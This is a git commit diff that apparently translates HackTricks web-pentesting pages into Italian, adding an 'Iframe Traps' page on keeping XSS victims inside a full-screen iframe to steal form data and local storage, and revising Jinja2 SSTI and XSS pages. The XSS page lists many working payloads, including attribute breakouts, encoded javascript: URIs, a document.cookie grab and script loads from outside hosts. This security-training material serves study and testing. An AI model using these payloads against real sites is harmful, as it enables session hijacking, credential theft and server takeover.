Translated ['pentesting-web/iframe-traps.md', 'pentesting-web/ssti-serve

This commit is contained in:
Translator 2024-06-14 10:18:03 +00:00
parent 04aa0296a3
commit 99d4bbcf87
7 changed files with 170 additions and 74 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

View file

@ -587,7 +587,6 @@
* [Upgrade Header Smuggling](pentesting-web/h2c-smuggling.md)
* [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md)
* [IDOR](pentesting-web/idor.md)
* [Integer Overflow](pentesting-web/integer-overflow.md)
* [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md)
* [LDAP Injection](pentesting-web/ldap-injection.md)
* [Login Bypass](pentesting-web/login-bypass/README.md)
@ -651,6 +650,7 @@
* [DOM Invader](pentesting-web/xss-cross-site-scripting/dom-invader.md)
* [DOM XSS](pentesting-web/xss-cross-site-scripting/dom-xss.md)
* [Iframes in XSS, CSP and SOP](pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md)
* [Integer Overflow](pentesting-web/xss-cross-site-scripting/integer-overflow.md)
* [JS Hoisting](pentesting-web/xss-cross-site-scripting/js-hoisting.md)
* [Misc JS Tricks & Relevant Info](pentesting-web/xss-cross-site-scripting/other-js-tricks.md)
* [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md)
@ -672,6 +672,7 @@
* [JavaScript Execution XS Leak](pentesting-web/xs-search/javascript-execution-xs-leak.md)
* [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)
* [Iframe Traps](pentesting-web/iframe-traps.md)
## ⛈️ Cloud Security

View file

@ -0,0 +1,47 @@
# Trappole Iframe
<details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se vuoi vedere la **tua azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Informazioni di Base
Questa forma di abuso di XSS tramite iframe per rubare informazioni dall'utente che si sposta sulla pagina web è stata originariamente pubblicata in questi 2 post da trustedsec.com: [**qui**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **e** [**qui**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).
L'attacco inizia in una pagina vulnerabile a un XSS dove è possibile fare in modo che le **vittime non lascino l'XSS** facendole **navigare all'interno di un iframe** che occupa l'intera applicazione web.
L'attacco XSS caricherà essenzialmente la pagina web in un iframe al 100% dello schermo. Pertanto, la vittima **non si accorgerà di essere all'interno di un iframe**. Quindi, se la vittima naviga nella pagina cliccando sui link all'interno dell'iframe (all'interno della pagina web), starà **navigando all'interno dell'iframe** con il JS arbitrario caricato che ruba informazioni da questa navigazione.
Inoltre, per renderlo più realistico, è possibile utilizzare alcuni **ascoltatori** per controllare quando un iframe cambia la posizione della pagina e aggiornare l'URL del browser con quelle posizioni in modo che l'utente pensi di spostarsi tra le pagine utilizzando il browser.
<figure><img src="../.gitbook/assets/image (1248).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png">https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png</a></p></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1249).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png">https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png</a></p></figcaption></figure>
Inoltre, è possibile utilizzare degli ascoltatori per rubare informazioni sensibili, non solo dalle altre pagine che la vittima sta visitando, ma anche dai dati utilizzati per **compilare moduli** e inviarli (credenziali?) o per **rubare lo storage locale**...
Naturalmente, i principali limiti sono che una **vittima che chiude la scheda o inserisce un'altra URL nel browser sfuggirà dall'iframe**. Un altro modo per fare ciò sarebbe **aggiornare la pagina**, tuttavia, questo potrebbe essere parzialmente **prevenuto** disabilitando il menu contestuale del clic destro ogni volta che una nuova pagina viene caricata all'interno dell'iframe o notando quando il mouse dell'utente esce dall'iframe, potenzialmente per fare clic sul pulsante di ricarica del browser e in questo caso l'URL del browser viene aggiornato con l'URL originale vulnerabile a XSS quindi se l'utente lo ricarica, verrà nuovamente avvelenato (nota che questo non è molto stealth).
<details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se vuoi vedere la **tua azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -32,7 +32,7 @@ app.run()
```
### **Dichiarazione di Debug**
Se l'estensione Debug è abilitata, sarà disponibile un tag `debug` per visualizzare il contesto corrente, nonché i filtri e i test disponibili. Questo è utile per vedere cosa è disponibile da utilizzare nel template senza configurare un debugger.
Se l'estensione Debug è abilitata, sarà disponibile un tag `debug` per visualizzare il contesto attuale, nonché i filtri e i test disponibili. Questo è utile per vedere cosa è disponibile per l'uso nel template senza dover configurare un debugger.
```python
<pre>
@ -43,6 +43,7 @@ Se l'estensione Debug è abilitata, sarà disponibile un tag `debug` per visuali
</pre>
```
### **Dump di tutte le variabili di configurazione**
@ -60,6 +61,7 @@ Fonte: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](
{% endraw %}
```
## **Iniezione di Jinja**
@ -79,9 +81,9 @@ request
```
### Recupero di \<class 'object'>
Quindi, da questi oggetti dobbiamo arrivare alla classe: **`<class 'object'>`** per cercare di **recuperare** le **classi** definite. Questo perché da questo oggetto possiamo chiamare il metodo **`__subclasses__`** e **accedere a tutte le classi dall'ambiente python non sandboxato**.
Successivamente, da questi oggetti dobbiamo arrivare alla classe: **`<class 'object'>`** per cercare di **recuperare** le **classi** definite. Questo perché da questo oggetto possiamo chiamare il metodo **`__subclasses__`** e **accedere a tutte le classi dall'ambiente python non sandboxato**.
Per accedere a quella **classe oggetto**, è necessario **accedere a un oggetto classe** e quindi accedere a **`__base__`**, **`__mro()[-1]`** o `.`**`mro()[-1]`**. E poi, **dopo** aver raggiunto questa **classe oggetto** **chiamiamo** **`__subclasses__()`**.
Per accedere a quella **classe oggetto**, è necessario **accedere a un oggetto classe** e quindi accedere a **`__base__`**, **`__mro__()[-1]`** o `.`**`mro()[-1]`**. E poi, **dopo** aver raggiunto questa **classe oggetto** **chiamiamo** **`__subclasses__()`**.
Controlla questi esempi:
```python
@ -119,11 +121,12 @@ dict.__mro__[-1]
{% endraw %}
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
```
### Fuga di RCE
### Fuga RCE
**Avendo recuperato** `<class 'object'>` e chiamato `__subclasses__` possiamo ora utilizzare quelle classi per leggere e scrivere file ed eseguire codice.
@ -196,6 +199,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
{% endraw %}
```
* [**Torna qui per più opzioni per accedere a un oggetto globale**](jinja2-ssti.md#accessing-global-objects)
* [**Torna qui per più opzioni per accedere alla classe oggetto**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
@ -209,7 +213,7 @@ Per impostazione predefinita, Flask codifica HTML all'interno di un modello per
#will be
&lt;script&gt;alert(1);&lt;/script&gt;
```
**Il filtro `safe`** ci permette di iniettare JavaScript e HTML nella pagina **senza** che venga **codificato in HTML**, come segue:
Il filtro `safe` ci permette di iniettare JavaScript e HTML nella pagina **senza** che venga **codificato in HTML**, come segue:
```python
{{'<script>alert(1);</script>'|safe}}
#will be
@ -235,13 +239,14 @@ Senza **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
{% endraw %}
```
## Iniezione di Jinja senza **\<class 'object'>**
Dai [**oggetti globali**](jinja2-ssti.md#accessing-global-objects) c'è un altro modo per ottenere **RCE senza utilizzare quella classe.**\
Se riesci ad accedere a qualsiasi **funzione** da quegli oggetti globali, sarai in grado di accedere a **`__globals__.__builtins__`** e da lì la **RCE** è molto **semplice**.
Puoi **trovare funzioni** dagli oggetti **`request`**, **`config`** e da qualsiasi **altro** oggetto globale interessante a cui hai accesso con:
Puoi **trovare funzioni** dagli oggetti **`request`**, **`config`** e da qualsiasi **altro** oggetto **globale** interessante a cui hai accesso con:
```bash
{{ request.__class__.__dict__ }}
- application
@ -284,7 +289,7 @@ Una volta che hai trovato alcune funzioni, puoi recuperare i builtins con:
```
### Fuzzing WAF bypass
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一种专门用于CTF的工具但在真实场景中也可以用来暴力破解无效参数。该工具仅仅是喷射单词和查询以检测过滤器,搜索绕过方式,并提供一个交互式控制台。
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一种专门用于 CTF 的工具,但也可以用于在真实场景中暴力破解无效参数。该工具只是喷射单词和查询以检测过滤器,搜索绕过,并提供交互式控制台。
```
webui:
As the name suggests, web UI
@ -312,17 +317,17 @@ The request will be urlencoded by default according to the HTTP format, which ca
## Riferimenti
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
* Controlla [l'astuzia dell'attributo per aggirare i caratteri in lista nera qui](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
* Controlla [il trucco dell'attributo per aggirare i caratteri in blacklist qui](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
<details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la **tua azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -1,8 +1,8 @@
# XSS (Cross Site Scripting)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare ciò che sembra impossibile - **stiamo assumendo!** (_richiesta competenza fluente in polacco scritta e parlata_).
Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare ciò che sembra impossibile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, sia scritta che parlata_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -28,10 +28,10 @@ Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare ci
2. Puoi eludere la stringa ed eseguire diverso codice JS?
3. I tuoi input sono all'interno di template letterali \`\`?
4. Puoi eludere le protezioni?
4. Funzione **JavaScript** in fase di **esecuzione**
4. **Funzione** JavaScript in **esecuzione**
1. Puoi indicare il nome della funzione da eseguire. es.: `?callback=alert(1)`
4. Se **utilizzato**:
1. Potresti sfruttare un **DOM XSS**, presta attenzione a come il tuo input è controllato e se il tuo **input controllato è utilizzato da qualche sink**.
1. Potresti sfruttare un **DOM XSS**, presta attenzione a come il tuo input è controllato e se il tuo **input controllato viene utilizzato da qualche sink**.
Quando lavori su un XSS complesso potrebbe interessarti sapere di più su:
@ -41,29 +41,29 @@ Quando lavori su un XSS complesso potrebbe interessarti sapere di più su:
## Valori Riflessi
Per sfruttare con successo un XSS la prima cosa che devi trovare è un **valore controllato da te che viene riflesso** nella pagina web.
Per sfruttare con successo un XSS la prima cosa che devi trovare è un **valore controllato da te che viene riflessa** nella pagina web.
* **Riflesso in modo intermedio**: Se scopri che il valore di un parametro o addirittura il percorso viene riflesso nella pagina web, potresti sfruttare un **XSS Riflesso**.
* **Salvato e riflesso**: Se scopri che un valore controllato da te è salvato nel server e viene riflesso ogni volta che accedi a una pagina, potresti sfruttare un **XSS Memorizzato**.
* **Riflesso in modo intermedio**: Se scopri che il valore di un parametro o addirittura il percorso viene riflessa nella pagina web, potresti sfruttare un **XSS Riflesso**.
* **Salvato e riflessa**: Se scopri che un valore controllato da te è salvato nel server e viene riflessa ogni volta che accedi a una pagina, potresti sfruttare un **XSS Memorizzato**.
* **Accesso tramite JS**: Se scopri che un valore controllato da te viene accesso utilizzando JS, potresti sfruttare un **DOM XSS**.
## Contesti
Quando cerchi di sfruttare un XSS la prima cosa da sapere è **dove viene riflesso il tuo input**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
Quando cerchi di sfruttare un XSS la prima cosa da sapere è **dove viene riflessa la tua input**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
### HTML Grezzo
Se il tuo input è **riflesso nella pagina HTML grezza** dovrai sfruttare alcuni **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti tag HTML possibili che potresti utilizzare.\
Inoltre, tieni presente [l'Iniezione di Template Lato Client](../client-side-template-injection-csti.md).
Se la tua input è **riflessa nell'HTML grezzo** dovrai sfruttare alcuni **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti utilizzare.\
Inoltre, tieni presente [Iniezione di Template Lato Client](../client-side-template-injection-csti.md).
### All'interno dell'attributo dei tag HTML
Se il tuo input è riflesso all'interno del valore dell'attributo di un tag, potresti provare:
Se la tua input è riflessa all'interno del valore dell'attributo di un tag, potresti provare:
1. A **uscire dall'attributo e dal tag** (quindi sarai nell'HTML grezzo) e creare un nuovo tag HTML per sfruttare: `"><img [...]`
1. **Esci dall'attributo e dal tag** (quindi sarai nell'HTML grezzo) e crea un nuovo tag HTML da sfruttare: `"><img [...]`
2. Se **puoi uscire dall'attributo ma non dal tag** (`>` è codificato o eliminato), a seconda del tag potresti **creare un evento** che esegue codice JS: `" autofocus onfocus=alert(1) x="`
3. Se **non puoi uscire dall'attributo** (`"` è codificato o eliminato), allora a seconda di **quale attributo** riflette il tuo valore e se **controlli tutto il valore o solo una parte** sarai in grado di sfruttarlo. Ad **esempio**, se controlli un evento come `onclick=` sarai in grado di far eseguire codice arbitrario quando viene cliccato. Un altro **esempio** interessante è l'attributo `href`, dove puoi utilizzare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
4. Se il tuo input è riflesso all'interno di "**tag non esplorabili**" potresti provare il trucco di **`accesskey`** per sfruttare la vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttare questo): **`" accesskey="x" onclick="alert(1)" x="`**
3. Se **non puoi uscire dall'attributo** (`"` è codificato o eliminato), allora a seconda di **quale attributo** riflette il tuo valore e se **controlli tutto il valore o solo una parte** potrai sfruttarlo. Ad **esempio**, se controlli un evento come `onclick=` sarai in grado di far eseguire codice arbitrario quando viene cliccato. Un altro esempio interessante è l'attributo `href`, dove puoi utilizzare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
4. Se la tua input è riflessa all'interno di "**tag non esplorabili**" potresti provare il trucco di **`accesskey`** per sfruttare la vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttarlo): **`" accesskey="x" onclick="alert(1)" x="`**
Esempio strano di Angular che esegue XSS se controlli un nome di classe:
```html
@ -76,12 +76,12 @@ Esempio strano di Angular che esegue XSS se controlli un nome di classe:
In questo caso, il tuo input viene riflessato tra i tag **`<script> [...] </script>`** di una pagina HTML, all'interno di un file `.js` o all'interno di un attributo utilizzando il protocollo **`javascript:`**:
* Se viene riflessato tra i tag **`<script> [...] </script>`**, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare `</script>` ed uscire da questo contesto. Questo funziona perché il **browser analizzerà prima i tag HTML** e poi il contenuto, quindi non si accorgerà che il tuo tag `</script>` iniettato è all'interno del codice HTML.
* Se viene riflessato **all'interno di una stringa JS** e il trucco precedente non funziona, dovrai **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se ci sono errori, non verranno eseguiti):
* Se viene riflessato **all'interno di una stringa JS** e il trucco precedente non funziona, dovrai **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se c'è un errore, non verrà eseguito):
* `'-alert(1)-'`
* `';-alert(1)//`
* `\';alert(1)//`
* Se viene riflessato all'interno di template letterali, puoi **inserire espressioni JS** utilizzando la sintassi `${ ... }`: `` var greetings = `Ciao, ${alert(1)}` ``
* **La codifica Unicode** funziona per scrivere **codice JavaScript valido**:
* L'**encoding Unicode** funziona per scrivere **codice JavaScript valido**:
```javascript
\u{61}lert(1)
\u0061lert(1)
@ -120,9 +120,9 @@ parentElement
```
Puoi anche provare a **attivare le funzioni Javascript** direttamente: `obj.sales.delOrders`.
Tuttavia, di solito gli endpoint che eseguono la funzione indicata sono endpoint senza un DOM molto interessante, **altre pagine nella stessa origine** avranno un DOM **più interessante** per eseguire più azioni.
Tuttavia, di solito gli endpoint che eseguono la funzione indicata sono endpoint senza un DOM molto interessante, **altre pagine nella stessa origine** avranno un **DOM più interessante** per eseguire più azioni.
Pertanto, per **abusare di questa vulnerabilità in un DOM diverso** è stata sviluppata l'exploit **Same Origin Method Execution (SOME)**:
Pertanto, per **sfruttare questa vulnerabilità in un diverso DOM** è stata sviluppata l'exploit **Same Origin Method Execution (SOME)**:
{% content-ref url="some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
@ -130,7 +130,7 @@ Pertanto, per **abusare di questa vulnerabilità in un DOM diverso** è stata sv
### DOM
C'è del **codice JS** che sta utilizzando in modo **non sicuro** alcuni **dati controllati da un attaccante** come `location.href`. Un attaccante potrebbe abusarne per eseguire codice JS arbitrario.
C'è del **codice JS** che sta utilizzando in modo **non sicuro** alcuni **dati controllati da un attaccante** come `location.href`. Un attaccante potrebbe sfruttare questo per eseguire codice JS arbitrario.
{% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md)
@ -156,7 +156,7 @@ Alcuni **esempi**:
## Iniezione all'interno di HTML grezzo
Quando il tuo input viene riflesso **all'interno della pagina HTML** o puoi eseguire l'escape e iniettare codice HTML in questo contesto, la **prima** cosa da fare è controllare se puoi abusare di `<` per creare nuovi tag: Prova semplicemente a **riflettere** quel **carattere** e controlla se viene **codificato in HTML** o **eliminato** oppure se viene **riflesso senza modifiche**. **Solo in quest'ultimo caso sarai in grado di sfruttare questo caso**.\
Per questi casi, tieni presente anche [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
Per questi casi tieni presente anche [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Nota: Un commento HTML può essere chiuso usando**** ****`-->`**** ****o**** ****`--!>`**_
In questo caso e se non viene utilizzata alcuna lista nera/lista bianca, potresti utilizzare payload come:
@ -165,22 +165,22 @@ In questo caso e se non viene utilizzata alcuna lista nera/lista bianca, potrest
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>
```
Ma, se viene utilizzato il filtraggio dei tag/attributi black/whitelist, sarà necessario **forzare a tentativi quali tag** è possibile creare.\
Una volta che hai **individuato quali tag sono consentiti**, dovrai **forzare a tentativi attributi/eventi** all'interno dei tag validi trovati per vedere come puoi attaccare il contesto.
Ma, se viene utilizzato il filtraggio dei tag/attributi black/whitelist, sarà necessario **forzare quali tag** è possibile creare.\
Una volta che hai **individuato quali tag sono consentiti**, dovrai **forzare gli attributi/eventi** all'interno dei tag validi trovati per capire come puoi attaccare il contesto.
### Forzare a tentativi tag/eventi
### Forzatura dei tag/eventi
Vai su [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clicca su _**Copia tag negli appunti**_. Quindi, inviali tutti utilizzando Burp intruder e controlla se qualche tag non è stato rilevato come dannoso dal WAF. Una volta scoperti quali tag puoi utilizzare, puoi **forzare a tentativi tutti gli eventi** utilizzando i tag validi (nella stessa pagina web clicca su _**Copia eventi negli appunti**_ e segui la stessa procedura come prima).
Vai su [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clicca su _**Copia i tag negli appunti**_. Quindi, inviali tutti utilizzando Burp intruder e controlla se qualche tag non è stato rilevato come dannoso dal WAF. Una volta scoperti quali tag puoi utilizzare, puoi **forzare tutti gli eventi** utilizzando i tag validi (nella stessa pagina web clicca su _**Copia gli eventi negli appunti**_ e segui la stessa procedura come prima).
### Tag personalizzati
Se non hai trovato nessun tag HTML valido, potresti provare a **creare un tag personalizzato** ed eseguire codice JS con l'attributo `onfocus`. Nella richiesta XSS, devi terminare l'URL con `#` per fare sì che la pagina **si concentri su quell'oggetto** ed **esegua** il codice:
Se non hai trovato nessun tag HTML valido, potresti provare a **creare un tag personalizzato** ed eseguire codice JS con l'attributo `onfocus`. Nella richiesta XSS, è necessario terminare l'URL con `#` per fare sì che la pagina **si concentri su quell'oggetto** ed **esegua** il codice:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
### Blacklist Bypasses
### Bypass delle liste nere
Se viene utilizzata una sorta di lista nera, potresti provare a evitarla con alcuni trucchi sciocchi:
Se viene utilizzata qualche tipo di lista nera, potresti provare a evitarla con alcuni trucchi sciocchi:
```javascript
//Random capitalization
<script> --> <ScrIpT>
@ -233,13 +233,17 @@ onerror=alert`1`
### Bypass della lunghezza (piccoli XSS)
{% hint style="info" %}
**Altri piccoli XSS per ambienti diversi** payload **possono essere trovati qui** e **qui**.
**Altri piccoli XSS per ambienti diversi** il payload **può essere trovato qui** e **qui**.
```html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>
```
L'ultimo consiste nell'utilizzare 2 caratteri unicode che si espandono a 5: telsr\
Altri di questi caratteri possono essere trovati [qui](https://www.unicode.org/charts/normalization/).\
Per verificare in quali caratteri sono scomposti, controlla [qui](https://www.compart.com/en/unicode/U+2121).
### Click XSS - Clickjacking
Se per sfruttare la vulnerabilità è necessario che **l'utente faccia clic su un link o un modulo** con dati precompilati, potresti provare a [**abusare del Clickjacking**](../clickjacking.md#xss-clickjacking) (se la pagina è vulnerabile).
@ -270,12 +274,12 @@ Se **non puoi fuggire dal tag**, potresti creare nuovi attributi all'interno del
```
### All'interno dell'attributo
Anche se **non puoi evadere dall'attributo** (`"` viene codificato o eliminato), a seconda di **quale attributo** il tuo valore viene riflettuto **se controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di far eseguire del codice arbitrario quando viene cliccato.\
Un altro interessante **esempio** è l'attributo `href`, dove puoi utilizzare il protocollo `javascript:` per eseguire del codice arbitrario: **`href="javascript:alert(1)"`**
Anche se **non puoi evadere dall'attributo** (`"` viene codificato o eliminato), a seconda di **quale attributo** il tuo valore viene riflettuto, se **controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=`, sarai in grado di far eseguire del codice arbitrario quando viene cliccato.\
Un altro **esempio** interessante è l'attributo `href`, dove puoi utilizzare il protocollo `javascript:` per eseguire del codice arbitrario: **`href="javascript:alert(1)"`**
**Bypass all'interno dell'evento usando la codifica HTML/codifica URL**
I **caratteri codificati in HTML** all'interno del valore degli attributi dei tag HTML vengono **decodificati in fase di esecuzione**. Pertanto qualcosa del genere sarà valido (il payload è in grassetto): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Torna Indietro </a>`
I **caratteri codificati in HTML** all'interno del valore degli attributi dei tag HTML vengono **decodificati in fase di esecuzione**. Pertanto, qualcosa del genere sarà valido (il payload è in grassetto): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Torna Indietro </a>`
Nota che **qualsiasi tipo di codifica HTML è valida**:
```javascript
@ -294,7 +298,7 @@ Nota che **qualsiasi tipo di codifica HTML è valida**:
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>
```
**Si noti che la codifica URL funzionerà anche:**
**Si noti che anche l'URL encoding funzionerà:**
```python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
```
@ -362,9 +366,9 @@ Inoltre, c'è un altro **bel trucco** per questi casi: **Anche se il tuo input a
```
Nota che se provi a **usare entrambi** `URLencode + HTMLencode` in qualsiasi ordine per codificare il **payload** non **funzionerà**, ma puoi **mescolarli all'interno del payload**.
**Utilizzo di codifica esadecimale e ottale con `javascript:`**
**Utilizzando l'encode esadecimale e ottale con `javascript:`**
Puoi utilizzare la codifica **esadecimale** e **ottale** all'interno dell'attributo `src` di `iframe` (almeno) per dichiarare **tag HTML per eseguire JS**:
Puoi utilizzare l'**encode esadecimale** e **ottale** all'interno dell'attributo `src` di `iframe` (almeno) per dichiarare **tag HTML per eseguire JS**:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -376,7 +380,7 @@ Puoi utilizzare la codifica **esadecimale** e **ottale** all'interno dell'attrib
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
```
### Furto di schede invertito
### Reverse tab nabbing
```javascript
<a target="_blank" rel="opener"
```
@ -425,9 +429,9 @@ Da [**qui**](https://portswigger.net/research/xss-in-hidden-input-fields): È po
```
**Il payload XSS sarà qualcosa del genere: `" accesskey="x" onclick="alert(1)" x="`**
### Bypass della blacklist
### Blacklist Bypasses
Sono stati già esposti diversi trucchi che utilizzano diverse codifiche all'interno di questa sezione. Torna indietro per imparare dove puoi utilizzare:
Sono già state esposte diverse tecniche che utilizzano diverse codifiche all'interno di questa sezione. Torna indietro per imparare dove puoi utilizzare:
* **Codifica HTML (tag HTML)**
* **Codifica Unicode (può essere codice JS valido):** `\u0061lert(1)`
@ -441,11 +445,11 @@ Leggi i [Bypass della blacklist della sezione precedente](./#blacklist-bypasses)
**Bypass per codice JavaScript**
Leggi i [Bypass della blacklist di JavaScript della sezione successiva](./#javascript-bypass-blacklists-techniques).
Leggi i [Bypass della blacklist JavaScript della sezione successiva](./#javascript-bypass-blacklists-techniques).
### CSS-Gadgets
Se trovi un **XSS in una parte molto piccola** del web che richiede un certo tipo di interazione (forse un piccolo link nel piè di pagina con un elemento onmouseover), puoi provare a **modificare lo spazio che l'elemento occupa** per massimizzare le probabilità di far scattare il link.
Se trovi un **XSS in una parte molto piccola** del web che richiede un tipo di interazione (forse un piccolo link nel piè di pagina con un elemento onmouseover), puoi provare a **modificare lo spazio che l'elemento occupa** per massimizzare le probabilità di far scattare il link.
Ad esempio, potresti aggiungere dello stile all'elemento come: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
@ -467,9 +471,9 @@ Questo trucco è stato preso da [https://medium.com/@skavans\_/improving-the-imp
